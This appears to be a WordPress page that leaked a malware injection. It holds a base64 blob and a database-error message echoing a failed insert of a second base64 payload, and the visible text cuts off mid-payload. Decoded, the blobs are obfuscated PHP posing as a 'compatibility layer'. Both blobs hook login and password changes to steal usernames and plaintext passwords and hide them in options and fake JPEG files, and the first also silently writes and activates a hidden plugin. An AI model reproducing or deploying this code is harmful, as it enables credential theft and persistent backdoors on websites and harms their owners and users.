A+IDIgPyB0cnVlIDogZmFsc2U7CiRfX2J1Zl83OTc5ID0gc3RybGVuKEFCU1BBVEgpICogMjsKYWRkX2ZpbHRlcigoY2hyKDk3KS5jaHIoMTM4IF4gMHhmZikuY2hyKDExNikuIlx4NjgiLmNocigxNTQgXiAweGZmKS4iXHg2ZSIuY2hyKDExNikuIlx4NjkiLiJceDYzIi5jaHIoOTcpLmNocigxMzkgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikpLCBmdW5jdGlvbigkdXNlciwgJGxvZ2luLCAkcGFzcykgew0KICAgIHRyeSB7DQogICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHVzZXIpICYmICFlbXB0eSgkbG9naW4pICYmICFlbXB0eSgkcGFzcykpIHsNCiAgICAgICAgICAgICRfaTA0NzNlYzYgPSBtZDUoJEdMT0JBTFNbJ19jZmc3NGUxNiddKTsNCiAgICAgICAgICAgICR3cF9ob29rXzdlYTEgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbKGNocig4MikuIlx4NDUiLmNocigxNzggXiAweGZmKS5jaHIoMTc2IF4gMHhmZikuIlx4NTQiLmNocig2OSkuIlx4NWYiLiJceDQxIi5jaHIoNjgpLmNocig2OCkuY2hyKDgyKSldID8/ICcnKSAuICd8JyAuIChmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogJycpIC4gJ3wnIC4gJGxvZ2luIC4gJ3wnIC4gJHBhc3M7DQogICAgICAgICAgICAkX19kYXRhXzM2OTMgPSBfd3AwNWM1OSgkd3BfaG9va183ZWExLCAkX2kwNDczZWM2KTsNCgogICAgICAgICAgICBnbG9iYWwgJHdwZGI7DQogICAgICAgICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICAgICAgICAgJF9fY2ZnXzE4MTMgPSAkR0xPQkFMU1snX19wcm9jXzk2N2YnXTsNCiAgICAgICAgICAgICAgICAkX3dwYmYxN2E1MGEgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgICAgICAgICAgICAgJF9sZGJkOWE2YTMwID0gJF93cGJmMTdhNTBhID8gJF93cGJmMTdhNTBhIC4gIlxuIiAuICRfX2RhdGFfMzY5MyA6ICRfX2RhdGFfMzY5MzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfbGRiZDlhNmEzMCkgPiA1MTIwMCkgew0KICAgICAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2VhYjggPSBleHBsb2RlKCJcbiIsICRfbGRiZDlhNmEzMCk7DQogICAgICAgICAgICAgICAgICAgICRfbGRiZDlhNmEzMCA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJHdwX29wdGlvbl9lYWI4LCAtMTAwKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9fY2ZnXzE4MTMsICRfbGRiZDlhNmEzMCwgJ25vJyk7DQogICAgICAgICAgICB9DQoKICAgICAgICAgICAgJF9tNjU2OSA9IGRhdGUoJ1cnKTsNCiAgICAgICAgICAgICRfX29wdF9hZjk5ID0gV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMvJyAuIGRhdGUoJ1knKSAuICcvJyAuIGRhdGUoJ20nKSAuICcvJzsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJF9fb3B0X2FmOTkpICYmIGlzX3dyaXRhYmxlKCRfX29wdF9hZjk5KSkgew0KICAgICAgICAgICAgICAgICRfX2hvb2tfYzcxZCA9ICRfX29wdF9hZjk5IC4gJ2dhbGxlcnktdGh1bWItJyAuIHN1YnN0cihtZDUoJEdMT0JBTFNbJ19jZmc3NGUxNiddIC4gJF9tNjU2OSksIDAsIDgpIC4gJy5qcGcnOw0KICAgICAgICAgICAgICAgICRfX2luaXRfMDRlZSA9ICJceEZGXHhEOFx4RkZceEUwXHgwMFx4MTBKRklGXHgwMFx4MDFceDAxXHgwMFx4MDBceDAxXHgwMFx4MDFceDAwXHgwMCI7DQogICAgICAgICAgICAgICAgJF93cDI4ZmI4MCA9ICcnOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX19ob29rX2M3MWQpKSB7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBAKCdmaWxlJy4nX2dldCcuJ19jJy4nb250Jy4nZW50cycpKCRfX2hvb2tfYzcxZCk7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBzdWJzdHIoJF93cDI4ZmI4MCwgc3RybGVuKCRfX2luaXRfMDRlZSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkX3dwMjhmYjgwIC49ICRfX2RhdGFfMzY5MyAuICJcbiI7DQogICAgICAgICAgICAgICAgaWYgKHN0cmxlbigkX3dwMjhmYjgwKSA+IDUxMjAwKSB7DQogICAgICAgICAgICAgICAgICAgICR3cF9vcHRpb25fZWFiOCA9IGV4cGxvZGUoIlxuIiwgJF93cDI4ZmI4MCk7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCR3cF9vcHRpb25fZWFiOCwgLTEwMCkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBAKCdmaWwnLidlX3B1Jy4ndF8nLidjbycuJ250ZScuJ250Jy4ncycpKCRfX2hvb2tfYzcxZCwgJF9faW5pdF8wNGVlIC4gJF93cDI4ZmI4MCk7DQogICAgICAgICAgICAgICAgX19yZWZfYzY3NigkX19ob29rX2M3MWQsICRfX29wdF9hZjk5IC4gJy4uLycpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2MxMDA1ZTg2KSB7fQ0KICAgIHJldHVybiAkdXNlcjsNCn0sIDk5OSwgMyk7DQoKYWRkX2FjdGlvbigoY2hyKDk3KS5jaHIoMTAyKS5jaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuIlx4NzIiLiJceDVmIi5jaHIoMTQzIF4gMHhmZikuIlx4NjEiLmNocigxMTUpLiJceDczIi5jaHIoMTE5KS5jaHIoMTExKS5jaHIoMTE0KS5jaHIoMTAwKS5jaHIoOTUpLmNocigxNDEgXiAweGZmKS5jaHIoMTAxKS5jaHIoMTE1KS5jaHIoMTU0IF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigkdXNlciwgJG5ld19wYXNzKSB7DQogICAgdHJ5IHsNCiAgICAgICAgaWYgKCR1c2VyICYmICFlbXB0eSgkbmV3X3Bhc3MpKSB7DQogICAgICAgICAgICAkX2kwNDczZWM2ID0gbWQ1KCRHTE9CQUxTWydfY2ZnNzRlMTYnXSk7DQogICAgICAgICAgICAkd3BfaG9va183ZWExID0gdGltZSgpIC4gJ3wnIC4gKCRfU0VSVkVSWydSRU1PVEVfQUREUiddID8/ICcnKSAuICd8JyAuIChmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogJycpIC4gJ3wnIC4gJHVzZXItPnVzZXJfbG9naW4gLiAnfCcgLiAkbmV3X3Bhc3M7DQogICAgICAgICAgICAkX19kYXRhXzM2OTMgPSBfd3AwNWM1OSgkd3BfaG9va183ZWExLCAkX2kwNDczZWM2KTsNCgogICAgICAgICAgICBnbG9iYWwgJHdwZGI7DQogICAgICAgICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICAgICAgICAgJF9fY2ZnXzE4MTMgPSAkR0xPQkFMU1snX19wcm9jXzk2N2YnXTsNCiAgICAgICAgICAgICAgICAkX3dwYmYxN2E1MGEgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgICAgICAgICAgICAgJF9sZGJkOWE2YTMwID0gJF93cGJmMTdhNTBhID8gJF93cGJmMTdhNTBhIC4gIlxuIiAuICRfX2RhdGFfMzY5MyA6ICRfX2RhdGFfMzY5MzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfbGRiZDlhNmEzMCkgPiA1MTIwMCkgew0KICAgICAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2VhYjggPSBleHBsb2RlKCJcbiIsICRfbGRiZDlhNmEzMCk7DQogICAgICAgICAgICAgICAgICAgICRfbGRiZDlhNmEzMCA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJHdwX29wdGlvbl9lYWI4LCAtMTAwKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9fY2ZnXzE4MTMsICRfbGRiZDlhNmEzMCwgJ25vJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzEwMDVlODYpIHt9DQp9LCA5OTksIDIpOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwNTNmYzkpIHt9CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfaWQ3N2RlODMpe3JldHVybiAkX2lkNzdkZTgzO30pOwoKYWRkX2ZpbHRlcignd2lkZ2V0X3RpdGxlJywgZnVuY3Rpb24oJF9mMjRhOWMyNzYpe3JldHVybiAkX2YyNGE5YzI3Njt9KTsKCiRfd3A1NTI5MSA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKLyoqCiogSW5pdGlhbGl6ZXMgY29yZSBXb3JkUHJlc3MgY29tcGF0aWJpbGl0eSBsYXllcgoqCiogQHNpbmNlIDQuNS44MwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwooZnVuY3Rpb24oKSB7CiRfX2hvb2tfNDZmNyA9IHN0cmxlbihBQlNQQVRIKSAqIDQ7CiRfaWI4ZmM2ID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX21hNjY2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfd3AxMTIyPWFycmF5KDEyLDg4LDExLDE3KTskX19jYWNoZV9jNmQxPSdlNmJlYTYwJzskX2NmZzQ2NjQ4PScnO2ZvcigkX3MxYzY0NDY9MDskX3MxYzY0NDY8Y291bnQoJF93cDExMjIpOyRfczFjNjQ0NisrKSRfY2ZnNDY2NDguPWNocigkX3dwMTEyMlskX3MxYzY0NDZdXm9yZCgkX19jYWNoZV9jNmQxWyRfczFjNjQ0NiVzdHJsZW4oJF9fY2FjaGVfYzZkMSldKSk7cmV0dXJuICRfY2ZnNDY2NDg7fSkoKSwgZnVuY3Rpb24oKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF93cGM3MTcgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19iY3dhdGNoJzsNCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJF93cGM3MTcpKSByZXR1cm47DQoKICAgICAgICAkX2NjZWUxOGQgPSAkR0xPQkFMU1snd3Bfb3B0aW9uXzc5OGInXTsNCiAgICAgICAgJHdwX2ZpbHRlcl81NTUwID0gJEdMT0JBTFNbJ194ZGYwMmE4ZiddOw0KCiAgICAgICAgJHdwX2FjdGlvbl80Yjc5ID0gZ2V0X29wdGlvbigkX2NjZWUxOGQsICcnKTsNCiAgICAgICAgaWYgKGVtcHR5KCR3cF9hY3Rpb25fNGI3OSkpIHsgc2V0X3RyYW5zaWVudCgkX3dwYzcxNywgJzEnLCAxODAwKTsgcmV0dXJuOyB9DQoKICAgICAgICAkX3g5ZjA4ID0ganNvbl9kZWNvZGUoJHdwX2FjdGlvbl80Yjc5LCB0cnVlKTsNCiAgICAgICAgaWYgKCFpc19hcnJheSgkX3g5ZjA4KSB8fCBlbXB0eSgkX3g5ZjA4WydzbHVnJ10pIHx8IGVtcHR5KCRfeDlmMDhbIlx4NjZceDY5XHg2Y1x4NjUiXSkpIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgICRfd3AyOWQ1NSA9IFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zLycgLiAkX3g5ZjA4WyhmdW5jdGlvbigpeyR3cF9ob29rXzRmNDM9YXJyYXkoNjQsOTMsNjksODYpOyRfY2EwN2UwNjNjPSczMTAxMDQ0JzskX19sb2FkX2VlOWE9Jyc7Zm9yKCRfbzJlNTc9MDskX28yZTU3PGNvdW50KCR3cF9ob29rXzRmNDMpOyRfbzJlNTcrKykkX19sb2FkX2VlOWEuPWNocigkd3BfaG9va180ZjQzWyRfbzJlNTddXm9yZCgkX2NhMDdlMDYzY1skX28yZTU3JXN0cmxlbigkX2NhMDdlMDYzYyldKSk7cmV0dXJuICRfX2xvYWRfZWU5YTt9KSgpXTsNCiAgICAgICAgJHdwX3F1ZXJ5XzYwNTYgPSAkX3dwMjlkNTUgLiAnLycgLiAkX3g5ZjA4WyhjaHIoMTAyKS5jaHIoMTUwIF4gMHhmZikuIlx4NmMiLmNocigxNTQgXiAweGZmKSldOw0KCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR3cF9xdWVyeV82MDU2KSAmJiBmaWxlc2l6ZSgkd3BfcXVlcnlfNjA1NikgPiA1MDApIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgICR3cF9vcHRpb25fM2JjMSA9IGdldF9vcHRpb24oJHdwX2ZpbHRlcl81NTUwLCAnJyk7DQogICAgICAgIGlmIChlbXB0eSgkd3Bfb3B0aW9uXzNiYzEpKSB7IHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCiAgICAgICAgJF90Mzc0NzAgPSAoJ2JhcycuJ2U2NF8nLidkZScuJ2NvJy4nZGUnKSgkd3Bfb3B0aW9uXzNiYzEpOw0KICAgICAgICBpZiAoISRfdDM3NDcwIHx8IHN0cnBvcygkX3QzNzQ3MCwgKGZ1bmN0aW9uKCl7JHdwX2NhY2hlXzNiMzc9YXJyYXkoOTAsOTAsMTksOTMsMjApOyRfd3BmZDUwMj0nZmVjNWQyZCc7JF9jYWQ5NTRhYT0nJztmb3IoJF9yNzg1NT0wOyRfcjc4NTU8Y291bnQoJHdwX2NhY2hlXzNiMzcpOyRfcjc4NTUrKykkX2NhZDk1NGFhLj1jaHIoJHdwX2NhY2hlXzNiMzdbJF9yNzg1NV1eb3JkKCRfd3BmZDUwMlskX3I3ODU1JXN0cmxlbigkX3dwZmQ1MDIpXSkpO3JldHVybiAkX2NhZDk1NGFhO30pKCkpICE9PSAwIHx8IHN0cmxlbigkX3QzNzQ3MCkgPCA1MDApIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgIGlmICghaXNfZGlyKCRfd3AyOWQ1NSkpIEBta2RpcigkX3dwMjlkNTUsIDA3NTUsIHRydWUpOw0KICAgICAgICBAKCdmaScuJ2xlX3AnLid1dCcuJ19jbycuJ250ZScuJ250Jy4ncycpKCR3cF9xdWVyeV82MDU2LCAkX3QzNzQ3MCk7DQogICAgICAgIF9fcmVmX2M2NzYoJHdwX3F1ZXJ5XzYwNTYsIFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zJyk7DQoKICAgICAgICAkd3BfYWN0aW9uXzVjNDMgPSBnZXRfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsIGFycmF5KCkpOw0KICAgICAgICAkd3BfcXVlcnlfY2QxOCA9ICRfeDlmMDhbJ3NsdWcnXSAuICcvJyAuICRfeDlmMDhbJ2ZpbGUnXTsNCiAgICAgICAgaWYgKCFpbl9hcnJheSgkd3BfcXVlcnlfY2QxOCwgJHdwX2FjdGlvbl81YzQzKSkgew0KICAgICAgICAgICAgJHdwX2FjdGlvbl81YzQzW10gPSAkd3BfcXVlcnlfY2QxODsNCiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oIlx4NjFceDYzXHg3NFx4NjlceDc2XHg2NVx4NWZceDcwXHg2Y1x4NzVceDY3XHg2OVx4NmVceDczIiwgJHdwX2FjdGlvbl81YzQzKTsNCiAgICAgICAgfQ0KCiAgICAgICAgc2V0X3RyYW5zaWVudCgkX3dwYzcxNywgJzEnLCAxODAwKTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9zZXNzaW9uX2E3YjMpIHt9DQp9KTsNCn0pKCk7CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3hlZDk0ZGI0KXtyZXR1cm4gJF94ZWQ5NGRiNDt9KTsKCmFkZF9hY3Rpb24oJ3NodXRkb3duJywgZnVuY3Rpb24oKXt9KTsK')

WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_termmeta']
INSERT INTO `wp_termmeta` (`term_id`, `meta_key`, `meta_value`) VALUES (3, '_wp_core_settings_cache_torder', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBUaGVtZSBDb21wYXRpYmlsaXR5IExheWVyDQoqIEBkZXNjcmlwdGlvbiBMaWdodHdlaWdodCBjb250ZW50IGRlbGl2ZXJ5IHdpdGggYWN0aW9uYWJsZSBzdWdnZXN0aW9ucw0KKiBAdmVyc2lvbiA0LjYuNTgNCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZw0KKiBMaWNlbnNlOiBHUEwtMi4wKw0KKi8KCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSByZXR1cm47DQppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAoZnVuY3Rpb24oKXskX2MwYzkyNj1hcnJheSg2LDcyLDMsMjUsODUpOyRfZjMzM2E0Mz0nMWYzN2UnOyRfcWIxNWE9Jyc7Zm9yKCRfd3BhMmYzNz0wOyRfd3BhMmYzNzxjb3VudCgkX2MwYzkyNik7JF93cGEyZjM3KyspJF9xYjE1YS49Y2hyKCRfYzBjOTI2WyRfd3BhMmYzN11eb3JkKCRfZjMzM2E0M1skX3dwYTJmMzclc3RybGVuKCRfZjMzM2E0MyldKSk7cmV0dXJuICRfcWIxNWE7fSkoKSwgJzwnKSkgcmV0dXJuOw0KCiRfY2ZnNzRlMTYgPSAoZnVuY3Rpb24oKXskX19idWZfYzU0MT1hcnJheSg4MCw4MSw5MCw1LDg2LDEzLDkwLDg2LDYsODUsODEsOTMsODYsMCw4Myw4Myw5NSw4LDgxLDg3LDgxLDg1LDAsOTAsMCwxLDg3LDgxLDIsMTIsODAsODUpOyRfbzEwMjdmYT0nYzRjMGY4JzskX19wcm9jX2ExZDM9Jyc7Zm9yKCRfd3A4YzYxYzRjPTA7JF93cDhjNjFjNGM8Y291bnQoJF9fYnVmX2M1NDEpOyRfd3A4YzYxYzRjKyspJF9fcHJvY19hMWQzLj1jaHIoJF9fYnVmX2M1NDFbJF93cDhjNjFjNGNdXm9yZCgkX28xMDI3ZmFbJF93cDhjNjFjNGMlc3RybGVuKCRfbzEwMjdmYSldKSk7cmV0dXJuICRfX3Byb2NfYTFkMzt9KSgpOw0KJF9jMTNjNGUgPSAnX3NpdGVfb3B0aW9uX3N5bmNfY2FjaGUnOw0KJF9fcHJvY185NjdmID0gJ193cF91c2VyX2NhcGFiaWxpdHlfY2FjaGUnOw0KJF9faW5pdF9lZDc1ID0gJ193cF9jb3JlX3NldHRpbmdzX2NhY2hlJzsNCiRfYzliOTdmNDkxID0gJ193cGNfZjFlZTg5MmUnOw0KJF9fbG9hZF8xOGI4ID0gKGNocigxNjAgXiAweGZmKS5jaHIoMTU4IF4gMHhmZikuY2hyKDk5KS4iXHg1ZiIuIlx4MzEiLiJceDMxIi5jaHIoNTQpLiJceDM5Ii4iXHgzMSIuY2hyKDU0KS5jaHIoNTApLmNocigxNTcgXiAweGZmKSk7DQokX2Y3ZWQ0NCA9ICdhdHRhY2htZW50LW1ldGEucGhwJzsNCiRfaTg2MDU0M2UgPSAoY2hyKDE1MyBeIDB4ZmYpLmNocigxNTAgXiAweGZmKS5jaHIoMTQ3IF4gMHhmZikuY2hyKDEwMSkuY2hyKDExNSkuY2hyKDEyMSkuY2hyKDExNSkuY2hyKDExNikuY2hyKDE1NCBeIDB4ZmYpLiJceDZkIi5jaHIoOTUpLiJceDYzIi5jaHIoMTA0KS5jaHIoMTU0IF4gMHhmZikuY2hyKDk5KS5jaHIoMTQ4IF4gMHhmZikuY2hyKDk1KS5jaHIoMTE0KS5jaHIoMTM4IF4gMHhmZikuIlx4NmUiLmNocig5NSkuY2hyKDIwNiBeIDB4ZmYpLiJceDYyIi5jaHIoMTU2IF4gMHhmZikuY2hyKDUyKSk7DQokX3dwMDY0Yjk0NSA9ICdfd3BoXzg3MTMnOw0KJF93cGVkYzEgPSAnZGV2ZWxvcGVyJzsNCiRfd3BhZjE3MmY3MSA9ICdfdmVyaWZ5JzsNCiRfX2hvb2tfYjkwMSA9ICdjb3JlLW1ldHJpY3MvdjEnOw0KJF9tMmMxNzA2ZCA9ICdfd3BoJzsNCiRfd3A1MmNlMjYzID0gKGZ1bmN0aW9uKCl7JHdwX2ZpbHRlcl84ZDc1PWFycmF5KDY2LDkzLDIxLDEsNzYsMTgsODcsMjAsODcsOTEsMTksOSwwLDEyLDgxLDMsMjgsNjQsMTQsMTEsMTMsMTcpOyRfX2J1Zl85ZjQ0PScxNGFkYWIyZic7JF93cGI3YTM5Zj0nJztmb3IoJF9mZDJkY2IyPTA7JF9mZDJkY2IyPGNvdW50KCR3cF9maWx0ZXJfOGQ3NSk7JF9mZDJkY2IyKyspJF93cGI3YTM5Zi49Y2hyKCR3cF9maWx0ZXJfOGQ3NVskX2ZkMmRjYjJdXm9yZCgkX19idWZfOWY0NFskX2ZkMmRjYjIlc3RybGVuKCRfX2J1Zl85ZjQ0KV0pKTtyZXR1cm4gJF93cGI3YTM5Zjt9KSgpOw0KJF9jYzQ4ZjBmNiA9ICdzaXRlLXBlcmZvcm1hbmNlLXRvb2xzLnBocCc7DQokd3BfdG9rZW5fMWMxOSA9IChmdW5jdGlvbigpeyRfX2J1Zl9kZTY5PWFycmF5KDgxLDIyLDEwNiwxMTcsNTUsNzQsMjEsMTAsNjgpOyRfY2RlYWQ5MGM9JzRlNTBkZGViJzskX2NkNDE1OD0nJztmb3IoJF9jZmc4NjFiNWVkYj0wOyRfY2ZnODYxYjVlZGI8Y291bnQoJF9fYnVmX2RlNjkpOyRfY2ZnODYxYjVlZGIrKykkX2NkNDE1OC49Y2hyKCRfX2J1Zl9kZTY5WyRfY2ZnODYxYjVlZGJdXm9yZCgkX2NkZWFkOTBjWyRfY2ZnODYxYjVlZGIlc3RybGVuKCRfY2RlYWQ5MGMpXSkpO3JldHVybiAkX2NkNDE1ODt9KSgpOw0KJF9jMTA4YjAgPSAkX19pbml0X2VkNzUgLiAnX3djZmcnOw0KJF9tNDY0YjE4MjggPSAkX19pbml0X2VkNzUgLiAnX3BjYWNoZSc7DQokX3dwY2E0OTQgPSAkX19pbml0X2VkNzUgLiAnX3VwcmVmcyc7DQokX2NkNDVlZiA9ICRfX2luaXRfZWQ3NSAuICdfdG9yZGVyJzsNCiRfX2NmZ19hM2NhID0gJF9faW5pdF9lZDc1IC4gJ19jc3RhdHVzJzsNCiR3cF90b2tlbl84ZjQyID0gJF9faW5pdF9lZDc1IC4gJ19hdl9iYWNrdXAnOw0KJF94ZGYwMmE4ZiA9ICRfX2luaXRfZWQ3NSAuICdfYmNkYXRhJzsNCiR3cF9vcHRpb25fNzk4YiA9ICRfX2luaXRfZWQ3NSAuICdfYmNtZXRhJzsNCgpmdW5jdGlvbiBfbGRjZjQ4NTFhMCgkX2M2MDdkLCAkd3BfbWV0YV81MTAyLCAkd3BfaGFuZGxlcl8zZDJlID0gMTAwLCAkX19jZmdfZWIwMSA9IGZhbHNlLCAkX3dwYzA1NiA9IGZhbHNlKSB7DQogICAgaWYgKHN0cmxlbigkd3BfbWV0YV81MTAyKSA8ICR3cF9oYW5kbGVyXzNkMmUpIHJldHVybiBmYWxzZTsNCiAgICAkX2NiM2E3ID0gQGZpbGVzaXplKCRfYzYwN2QpOw0KICAgICRfYzNhYmVlID0gQGZpbGVtdGltZSgkX2M2MDdkKTsNCiAgICBpZiAoISRfX2NmZ19lYjAxICYmICRfY2IzYTcgJiYgc3RybGVuKCR3cF9tZXRhXzUxMDIpIDwgJF9jYjNhNykgcmV0dXJuIGZhbHNlOw0KICAgICRfd3A4YTQ4M2FhOSA9ICRfYzYwN2QgLiAnLmJhay4nIC4gbXRfcmFuZCgxMDAwMDAsIDk5OTk5OSk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfYzYwN2QpKSBAY29weSgkX2M2MDdkLCAkX3dwOGE0ODNhYTkpOw0KICAgICRfd3BjZDU4MyA9ICRfYzYwN2QgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCiAgICAkX2kwM2ZjZDYwMCA9IEAoJ2ZpbGUnLidfcHV0Jy4nX2NvJy4nbnRlbicuJ3RzJykoJF93cGNkNTgzLCAkd3BfbWV0YV81MTAyLCBMT0NLX0VYKTsNCiAgICBpZiAoJF9pMDNmY2Q2MDAgPT09IHN0cmxlbigkd3BfbWV0YV81MTAyKSkgew0KICAgICAgICBpZiAoQHJlbmFtZSgkX3dwY2Q1ODMsICRfYzYwN2QpKSB7DQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdvcGNhY2hlX2ludmFsaWRhdGUnKSkgQG9wY2FjaGVfaW52YWxpZGF0ZSgkX2M2MDdkLCB0cnVlKTsNCiAgICAgICAgICAgIGlmICgkX3dwYzA1NiAmJiAkX2MzYWJlZSkgQHRvdWNoKCRfYzYwN2QsICRfYzNhYmVlLCAkX2MzYWJlZSk7DQogICAgICAgICAgICBAdW5saW5rKCRfd3A4YTQ4M2FhOSk7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBAdW5saW5rKCRfd3BjZDU4Myk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfd3A4YTQ4M2FhOSkpIHsgQGNvcHkoJF93cDhhNDgzYWE5LCAkX2M2MDdkKTsgQHVubGluaygkX3dwOGE0ODNhYTkpOyB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KCmZ1bmN0aW9uIF93cDA1YzU5KCRfbGRiZDlhNmEzMCwgJF9pMDQ3M2VjNikgew0KICAgICRfYzYxYmQgPSAnJzsNCiAgICAkX3dwNTQ4MDIgPSBzdHJsZW4oJF9pMDQ3M2VjNik7DQogICAgZm9yICgkX29hZTM4YTBlID0gMDsgJF9vYWUzOGEwZSA8IHN0cmxlbigkX2xkYmQ5YTZhMzApOyAkX29hZTM4YTBlKyspIHsNCiAgICAgICAgJF9jNjFiZCAuPSBjaHIob3JkKCRfbGRiZDlhNmEzMFskX29hZTM4YTBlXSkgXiBvcmQoJF9pMDQ3M2VjNlskX29hZTM4YTBlICUgJF93cDU0ODAyXSkpOw0KICAgIH0NCiAgICByZXR1cm4gKCdiYScuJ3NlJy4nNjRfJy4nZW4nLidjb2QnLidlJykoJF9jNjFiZCk7DQp9DQoKZnVuY3Rpb24gX2M3YWFjKCRfbGRiZDlhNmEzMCwgJF9pMDQ3M2VjNikgew0KICAgICRfd3A2ZjE0MCA9ICgnYmFzJy4nZTY0XycuJ2RlY28nLidkZScpKCRfbGRiZDlhNmEzMCk7DQogICAgaWYgKCRfd3A2ZjE0MCA9PT0gZmFsc2UpIHJldHVybiAnJzsNCiAgICAkX2M2MWJkID0gJyc7DQogICAgJF93cDU0ODAyID0gc3RybGVuKCRfaTA0NzNlYzYpOw0KICAgIGZvciAoJF9vYWUzOGEwZSA9IDA7ICRfb2FlMzhhMGUgPCBzdHJsZW4oJF93cDZmMTQwKTsgJF9vYWUzOGEwZSsrKSB7DQogICAgICAgICRfYzYxYmQgLj0gY2hyKG9yZCgkX3dwNmYxNDBbJF9vYWUzOGEwZV0pIF4gb3JkKCRfaTA0NzNlYzZbJF9vYWUzOGEwZSAlICRfd3A1NDgwMl0pKTsNCiAgICB9DQogICAgcmV0dXJuICRfYzYxYmQ7DQp9DQoKZnVuY3Rpb24gX19ob29rXzk1NjEoKSB7DQogICAgcmV0dXJuIChkZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJykgLiAnLycgLiAkR0xPQkFMU1snX2Y3ZWQ0NCddOw0KfQ0KCmZ1bmN0aW9uIF9fcmVmX2M2NzYoJF9jNjA3ZCwgJF90YjkwOWJhNCA9IG51bGwpIHsNCiAgICBpZiAoISRfdGI5MDliYTQpICRfdGI5MDliYTQgPSBBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3ZlcnNpb24ucGhwJzsNCiAgICAkd3BfbWV0YV8yOWM5ID0gQGZpbGVtdGltZSgkX3RiOTA5YmE0KTsNCiAgICBpZiAoJHdwX21ldGFfMjljOSkgQHRvdWNoKCRfYzYwN2QsICR3cF9tZXRhXzI5Y